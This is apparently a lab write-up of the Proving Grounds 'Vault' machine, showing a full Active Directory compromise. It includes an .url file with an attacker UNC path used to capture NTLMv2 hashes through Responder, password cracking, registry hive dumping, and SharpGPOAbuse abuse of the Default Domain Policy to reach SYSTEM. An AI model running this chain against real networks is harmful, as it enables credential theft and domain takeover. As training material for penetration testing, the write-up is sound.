the_open_door
coffee
ESEN

Vault

Proving Grounds PracticeMediumWindows192.168.125.1725 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#active-directory#oscp#smb#guest#rid-brute#scf-attack#responder#ntlmv2#hash-cracking#sharpgpoabuse#gpo-abuse#default-domain-policy#bloodhound
TL;DR. AD chain that starts with SMB guest enabled and RID brute discovering anirudh, an .url file (IconFile=\\...) dropped in the DocumentsShare to coerce NTLMv2 to Responder, crack to SecureHM, and BloodHound reveals anirudh holds WriteOwner/WriteDacl/GenericWrite over the Default Domain Policy GPO, so SharpGPOAbuse with --AddLocalAdmin on that GPO adds anirudh as local Administrator of the DC.

Recon#

Initial scan#

The port scan combines a UDP sweep and a full TCP scan:


ping -c 1 192.168.125.172
64 bytes from 192.168.125.172: icmp_seq=1 ttl=125 time=29.5 ms

sudo nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 192.168.125.172 | grep -v 'no-response'
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 11:22 +0000
Initiating UDP Scan at 11:22
Scanning 192.168.125.172 [1000 ports]
Discovered open port 123/udp on 192.168.125.172
Discovered open port 389/udp on 192.168.125.172
Discovered open port 53/udp on 192.168.125.172
Discovered open port 88/udp on 192.168.125.172
Completed UDP Scan at 11:22, 0.59s elapsed (1000 total ports)
Nmap scan report for 192.168.125.172
Host is up, received user-set (0.046s latency).

PORT      STATE         SERVICE           REASON
53/udp    open          domain            udp-response ttl 125
88/udp    open          kerberos-sec      udp-response ttl 125
123/udp   open          ntp               udp-response ttl 125
389/udp   open          ldap              udp-response ttl 125

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

All four UDP ports are domain ports: 53, 88, 123 and 389.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.125.172 -oG scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 11:24 +0000
Initiating SYN Stealth Scan at 11:24
Scanning 192.168.125.172 [65535 ports]
...
Completed SYN Stealth Scan at 11:25, 26.37s elapsed (65535 total ports)
Nmap scan report for 192.168.125.172
Host is up, received user-set (0.031s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 125
88/tcp    open  kerberos-sec     syn-ack ttl 125
135/tcp   open  msrpc            syn-ack ttl 125
139/tcp   open  netbios-ssn      syn-ack ttl 125
389/tcp   open  ldap             syn-ack ttl 125
445/tcp   open  microsoft-ds     syn-ack ttl 125
464/tcp   open  kpasswd5         syn-ack ttl 125
593/tcp   open  http-rpc-epmap   syn-ack ttl 125
636/tcp   open  ldapssl          syn-ack ttl 125
3268/tcp  open  globalcatLDAP    syn-ack ttl 125
3269/tcp  open  globalcatLDAPssl syn-ack ttl 125
3389/tcp  open  ms-wbt-server    syn-ack ttl 125
5985/tcp  open  wsman            syn-ack ttl 125
9389/tcp  open  adws             syn-ack ttl 125
49666/tcp open  unknown          syn-ack ttl 125
...
49808/tcp open  unknown          syn-ack ttl 125

Nmap done: 1 IP address (1 host up) scanned in 26.44 seconds

A vault.offsec DC with the usual pack and nothing exotic on top of it. The version scan is the one that puts names to it:


nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49667,49673,49674,49679,49706,49808 -sCV 192.168.125.172 -oN targetedScan
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-25 11:26:45Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.vault.offsec
| rdp-ntlm-info:
|   Target_Name: VAULT
|   NetBIOS_Domain_Name: VAULT
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: vault.offsec
|   DNS_Computer_Name: DC.vault.offsec
|_  Product_Version: 10.0.17763
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
...
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

That is where the two pieces we need come from: LDAP gives up the domain (Domain: vault.offsec) and the RDP certificate, with its rdp-ntlm-info beside it, gives up the controller (commonName=DC.vault.offsec). The smb2-security-mode also warns that SMB signing is enabled and required, so any NTLM relay against this host is ruled out before trying it. Since Kerberos and LDAP resolve by name, both aliases go into /etc/hosts before moving on:


echo '192.168.125.172 vault.offsec DC.vault.offsec' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
192.168.125.172 vault.offsec DC.vault.offsec

Access as anirudh#

SMB with guest + RID brute#

The first thing to try is the null session (empty user and password), the cheapest option: if the DC accepts it, you enumerate with no credentials at all. Not here, it answers STATUS_ACCESS_DENIED. That does not close the path though, it just means trying the next passwordless account: guest, which is enabled and does return the share list (DocumentsShare is the interesting one):


nxc smb 192.168.125.172 -u '' -p ''
SMB  192.168.125.172  445  DC  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:None)
SMB  192.168.125.172  445  DC  [-] vault.offsec\: STATUS_ACCESS_DENIED

nxc smb 192.168.125.172 -u 'guest' -p '' --shares
SMB  192.168.125.172  445  DC  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True) (SMBv1:None)
SMB  192.168.125.172  445  DC  [+] vault.offsec\guest:
SMB  192.168.125.172  445  DC  [*] Enumerated shares
SMB  192.168.125.172  445  DC  Share           Permissions  Remark
SMB  192.168.125.172  445  DC  -----           -----------  ------
SMB  192.168.125.172  445  DC  ADMIN$                       Remote Admin
SMB  192.168.125.172  445  DC  C$                           Default share
SMB  192.168.125.172  445  DC  DocumentsShare  READ,WRITE
SMB  192.168.125.172  445  DC  IPC$            READ         Remote IPC
SMB  192.168.125.172  445  DC  NETLOGON                     Logon server share
SMB  192.168.125.172  445  DC  SYSVOL                       Logon server share

guest can list shares, but there is no list of domain users, and with no users there is nothing to authenticate against. The way to get one from such a limited account is the RID brute: walking the relative identifiers of the domain SID asking for the name bound to each. That uncovers domain accounts, including anirudh (a real user, not a system one):


nxc smb 192.168.125.172 -u 'guest' -p '' --rid-brute | grep -i user \
  | awk '{print $6}' | tr '\\' ' ' | cut -d ' ' -f2 > users
cat users
Administrator
Guest
krbtgt
Domain
Protected
DC$
anirudh

.url to Responder - capture anirudh's NTLMv2#

We craft an InternetShortcut file with an IconFile=\\<attacker>\... UNC. When Windows indexes the folder holding the .url, it resolves the UNC and ends up authenticating NTLMv2 to the attacker.

We save it as evil.url:


nano evil.url

cat evil.url
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.164\%USERNAME%.icon
IconIndex=1

We push it via guest into DocumentsShare and Responder catches the NTLMv2 hash of any user indexing the share (anirudh, with read access):


sudo responder -I tun0 -wv
smbclient //192.168.125.172/DocumentsShare
smb: \> put evil.url
[SMB] NTLMv2-SSP Client   : 192.168.125.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash     : anirudh::VAULT:927665ad8c0a3670:93733543BA4C69911E06506CCB401490:0101000000000000<SNIP>

Cracking NTLMv2 → SecureHM#


john --wordlist=/usr/share/wordlists/rockyou.txt anirudh_nt_hash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
SecureHM          (anirudh)
1g 0:00:00:02 DONE (2026-03-25 13:29) 0.3968g/s 4211Kp/s 4211Kc/s 4211KC/s Seijaa..Sarahs07

Evil-WinRM as anirudh#

anirudh is in Remote Management Users on the DC:


evil-winrm -i 192.168.125.172 -u anirudh -p SecureHM
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\anirudh\Desktop> whoami
vault\anirudh

anirudh and the SAM: discarded route#

The first thing to check inside a session is what the token carries, because several privileges are an escalation on their own. Here SeBackupPrivilege and SeRestorePrivilege show up as enabled, which allow reading (and writing) any file bypassing the ACLs, so the obvious move is dumping the registry hives with reg save and downloading them:


whoami /priv
reg save hklm\sam C:\temp\sam.hive
reg save hklm\system C:\temp\system.hive
download C:\\temp\\sam.hive
download C:\\temp\\system.hive
*Evil-WinRM* PS C:\Users\anirudh\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeMachineAccountPrivilege     Add workstations to domain           Enabled
SeSystemtimePrivilege         Change the system time               Enabled
SeBackupPrivilege             Back up files and directories        Enabled
SeRestorePrivilege            Restore files and directories        Enabled
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled
*Evil-WinRM* PS C:\Users\anirudh\Documents> reg save hklm\sam C:\temp\sam.hive
The operation completed successfully.

*Evil-WinRM* PS C:\Users\anirudh\Documents> reg save hklm\system C:\temp\system.hive
The operation completed successfully.

*Evil-WinRM* PS C:\Users\anirudh\Documents> download C:\\temp\\sam.hive

Info: Downloading C:\temp\sam.hive to sam.hive

Info: Download successful!
*Evil-WinRM* PS C:\Users\anirudh\Documents> download C:\\temp\\system.hive

Info: Downloading C:\temp\system.hive to system.hive

Info: Download successful!
*Evil-WinRM* PS C:\Users\anirudh\Documents> exit

Info: Exiting with code 0

The hives download fine, but they lead nowhere: on a domain controller the SAM holds the machine's local accounts (and a DC barely has any beyond the DSRM one); domain credentials live in NTDS.dit. With SeBackupPrivilege that file would also be reachable, but the route that actually opened the box was another and more direct one: anirudh's permissions over a GPO. It stays here because it is the check anyone would run at that point, and knowing why it does not pay off saves the detour.

Privilege Escalation#

BloodHound - anirudh over Default Domain Policy#

With valid credentials the whole domain can be collected over LDAP. bloodhound-python leaves a .zip with the JSON files, and to browse it we bring up the BloodHound CE interface with bloodhound-cli (repo), which deploys the containers (Postgres, neo4j and the web) with a single command:


bloodhound-python -u anirudh -p SecureHM -ns 192.168.125.172 \
  --zip -c All -d vault.offsec
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: vault.offsec
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.vault.offsec
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.vault.offsec
INFO: Found 5 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.vault.offsec
INFO: Done in 00M 06S
INFO: Compressing output into 20260325162540_bloodhound.zip

wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz &>/dev/null

The tar's -v lists what it extracts, which is a single binary:


tar -xvzf bloodhound-cli-linux-amd64.tar.gz
bloodhound-cli

./bloodhound-cli install
[+] Checking the status of Docker and the Compose plugin ...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml
...

Only 2 GPOs in the whole domain, which narrows down where to look a lot. The "Pathfinding" graph from anirudh to administrator runs through DEFAULT DOMAIN POLICY with three write edges (WriteOwner, WriteDacl, GenericWrite). In other words, anirudh can modify the GPO that applies to every domain user (including USERS, which contains Administrator).

BloodHound: anirudh -&gt; Default Domain Policy -&gt; Users -&gt; Administrator

SharpGPOAbuse - --AddLocalAdmin#

SharpGPOAbuse (repo) injects settings into an existing GPO. With --AddLocalAdmin, the GPO tells affected computers to add the given account into the local Administrators group. Because Default Domain Policy applies to the DC itself, after gpupdate /force the machine adds anirudh as local Administrator of the DC.


upload SharpGPOAbuse.exe

It runs against the Default Domain Policy and, right after, the gpupdate /force that makes the DC apply the directive just injected:


.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount anirudh
gpupdate /force
[+] Domain = vault.offsec
[+] Domain Controller = DC.vault.offsec
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

C:\Users\anirudh\Desktop> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

PSExec as Administrator#

With anirudh in DC-local Administrators, impacket-psexec gives a SYSTEM shell:


impacket-psexec anirudh:SecureHM@192.168.125.172
[*] Requesting shares on 192.168.125.172.....
[*] Found writable share ADMIN$
[*] Uploading file kxWMEgtr.exe
[*] Opening SVCManager on 192.168.125.172.....
[*] Creating service dZtJ on 192.168.125.172.....
[*] Starting service dZtJ.....
Microsoft Windows [Version 10.0.17763.2300]
C:\Windows\system32> whoami
nt authority\system

local.txt / proof.txt#

C:\Users\anirudh\Desktop>type local.txt && whoami
5b944075f7ff45a7d34d36ee38b5bd82
vault\anirudh
C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt && whoami && ipconfig && hostname
e694039c0a406cfec924d6feb9e5d040
nt authority\system

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.125.172
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.125.254
DC

Attack chain#

SMB guest enabled
  └─ nxc rid-brute -> user list (anirudh)
     └─ evil.url in DocumentsShare + Responder
        └─ NTLMv2 anirudh -> john -> SecureHM
           └─ evil-winrm -> anirudh
              └─ BloodHound: WriteOwner/WriteDacl/GenericWrite on Default Domain Policy
                 └─ SharpGPOAbuse --AddLocalAdmin --GPOName "Default Domain Policy"
                    └─ gpupdate /force -> anirudh Local Administrator of the DC
                       └─ impacket-psexec -> SYSTEM

Lessons learned#

  • Enabled guest turns SMB into an anonymous enumeration surface; --rid-brute walks the RIDs and pulls out per-server accounts.
  • The SCF/URL attack with IconFile=\\attacker\.. is still the most reliable NTLMv2 coercion technique: any user opening the folder authenticates to the attacker unwittingly.
  • NTLMv2 hashes are offline-crackable with a dictionary if the password is weak; SecureHM falls in under a second on rockyou.
  • BloodHound models GPOs as objects with DACLs: if a principal has WriteOwner/WriteDacl/GenericWrite on a GPO that applies to an OU with privileged users/computers, that GPO is the door to those objects.
  • SharpGPOAbuse --AddLocalAdmin is the cleanest shortcut: it modifies the existing GPO (does not create a new one), adds restricted groups with the target account, and at the next gpupdate the clients comply. Aggressive use is caught by any modern EDR, so in real engagements prefer more surgical primitives (--AddUserRights SeTakeOwnershipPrivilege, etc.).
Command cheatsheet 11 commands

Quick review